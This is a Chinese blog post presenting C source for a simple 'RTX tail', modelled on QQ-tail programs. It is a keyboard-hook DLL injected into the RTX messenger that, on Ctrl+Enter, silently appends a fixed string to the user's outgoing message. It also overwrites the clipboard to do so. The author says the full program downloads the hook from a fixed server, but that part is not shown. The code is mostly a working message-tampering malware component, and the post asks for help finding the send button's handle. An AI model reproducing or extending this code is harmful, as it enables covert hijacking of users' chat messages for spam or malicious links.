简单实现windows下RTX尾巴(上)(c语言)

仿照网上QQ尾巴的例子实现一个简单的RTX尾巴,运行后会从固定的服务器下载键盘钩子(由于不会获取发送按钮的句柄,目前只实现了键盘钩子),然后安装钩子。在用户使用ctrl+enter发送消息时,会在消息的尾部添加如下一段话:[**********The brown quick fox jumps over the lazy dog.**********]。

ps:希望高手能教教我如何获得发送按钮的句柄,在下感激不尽!

rtxkeyhook.h

#ifdef KEYHOOKLIB_EXPORTS
#define KEYHOOKLIB_API __declspec(dllexport)
#else
#define KEYHOOKLIB_API __declspec(dllimport)
#endif

BOOL KEYHOOKLIB_API WINAPI SetHook(HANDLE);
BOOL KEYHOOKLIB_API WINAPI DropHook();

void PasteText(HANDLE);
int GetTextLen(HANDLE);


rtxkeyhook.c

#include <windows.h>
#include <stdio.h>
#define KEYHOOKLIB_EXPORTS
#include "rtxkeyhook.h"

#pragma data_seg("HOOKShared")
HHOOK g_hKey = NULL;
HANDLE g_hRich = NULL;
#pragma data_seg()
#pragma comment(linker, "/section:HOOKShared,RWS")

LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
{
if(g_hRich != NULL && GetTextLen(g_hRich) > 0)
{
PasteText(g_hRich);
}
}
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}

int GetTextLen(HANDLE hRich)
{
char szText[1000];
SendMessage(hRich, WM_GETTEXT, sizeof(szText), (LPARAM)szText);
return strlen(szText);
}

void PasteText(HANDLE hRich)
{
HGLOBAL hMem;
char *pStr;
char gStr[100] = "\n**********The brown quick fox jumps over the lazy dog.**********\n";

hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(gStr));
pStr = GlobalLock(hMem);
lstrcpy(pStr, gStr);
GlobalUnlock(hMem);

OpenClipboard(NULL);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
SendMessage(hRich, WM_PASTE, 0, 0);
}

HMODULE WINAPI ModuleFromAddress(PVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
if(VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}

BOOL WINAPI SetHook(HANDLE hDlg)
{
DWORD dwThreadId = GetWindowThreadProcessId(hDlg, NULL);
g_hRich = FindWindowEx(hDlg, NULL, "RichEdit20W", NULL);
if(g_hRich == NULL)
{
printf("can not find edit control !\n");
return FALSE;
}
g_hKey = SetWindowsHookEx(WH_KEYBOARD,
KeyHookProc,
ModuleFromAddress(KeyHookProc),
dwThreadId);
if(g_hKey != NULL)
{
printf("hook ready !\n");
return TRUE;
}
return FALSE;
}

BOOL WINAPI DropHook()
{
return UnhookWindowsHookEx(g_hKey);
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值